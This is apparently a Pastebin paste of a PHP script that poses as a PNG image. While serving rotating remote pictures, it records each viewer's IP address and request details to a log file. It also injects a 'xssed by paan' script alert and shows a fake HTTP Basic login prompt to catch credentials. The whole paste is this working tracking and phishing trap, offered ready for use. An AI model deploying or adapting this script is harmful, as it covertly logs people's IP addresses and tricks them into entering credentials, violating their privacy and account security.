MrPaan

Gambar

Jan 6th, 2014
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. <?php
  2. header("Content-type: image/png");
  3.  
  4. $max_gambar = 5;
  5. $start = 1;
  6.  
  7.  
  8.  
  9.  
  10. if(!isset($_COOKIE['gambar_paan'])) {
  11.         setcookie("gambar_paan", $start);
  12. } elseif(isset($_COOKIE['gambar_paan']) and $_COOKIE['gambar_paan'] >= $max_gambar) {
  13.         setcookie("gambar_paan", $start);
  14. } else {
  15.         $start = $_COOKIE['gambar_paan'];
  16. }
  17.  
  18. $pilih = $start + 1;
  19. setcookie("gambar_paan", $pilih);
  20. switch( $pilih ) {
  21.         case 1:
  22.                 readfile("http://files.softicons.com/download/web-icons/alphabet-icons-by-supratim-nayak/png/128/p_black.png");
  23.                 break;
  24.  
  25.         case 2:
  26.                 readfile("http://files.softicons.com/download/web-icons/alphabet-icons-by-supratim-nayak/png/128/p_black.png");
  27.                 break;
  28.  
  29.         case 3:
  30.                 readfile("http://upload.wikimedia.org/wikipedia/commons/d/db/Crystal_Clear_app_applixware.png");
  31.                 break;
  32.  
  33.         case 4:
  34.                 readfile("http://shallowsky.com/linux/quickmask/final.png");
  35.                 break;
  36.  
  37.         case 5:
  38.                 readfile("http://icongal.com/gallery/image/194527/letter_n.png");
  39.                 break;
  40. }
  41.  
  42.  
  43.  
  44. $paan = $_SERVER['REMOTE_ADDR'];
  45. $domain = $_SERVER['HTTP_HOST'];
  46. $path = $_SERVER['SCRIPT_NAME'];
  47. $queryString = $_SERVER['QUERY_STRING'];
  48. $gay = $_SERVER['REQUEST_URI'];
  49.  
  50. echo"<script>alert('xssed by paan')</script>";
  51.  
  52.  
  53. $fh = fopen('paan.html', 'a');
  54. fwrite($fh, "<p>IP Address:$paan</p>");
  55. fwrite($fh, "<p>$domain.$path.$queryString.$gay</p>");
  56. fclose($fh);
  57.  
  58.  
  59. $auth = 1;
  60. $name='098f6bcd4621d373cade4e832627b4f6'; //
  61. $pass='098f6bcd4621d373cade4e832627b4f6'; //
  62. if($auth == 1) {
  63. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  64.    {
  65.    header('WWW-Authenticate: Basic realm="XSSED By 0b0xed-paan-"');
  66.    header('Paan Menghensem');
  67.    exit("<b></b>");
  68.    }
  69. }
  70.  
  71.  
  72.  
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment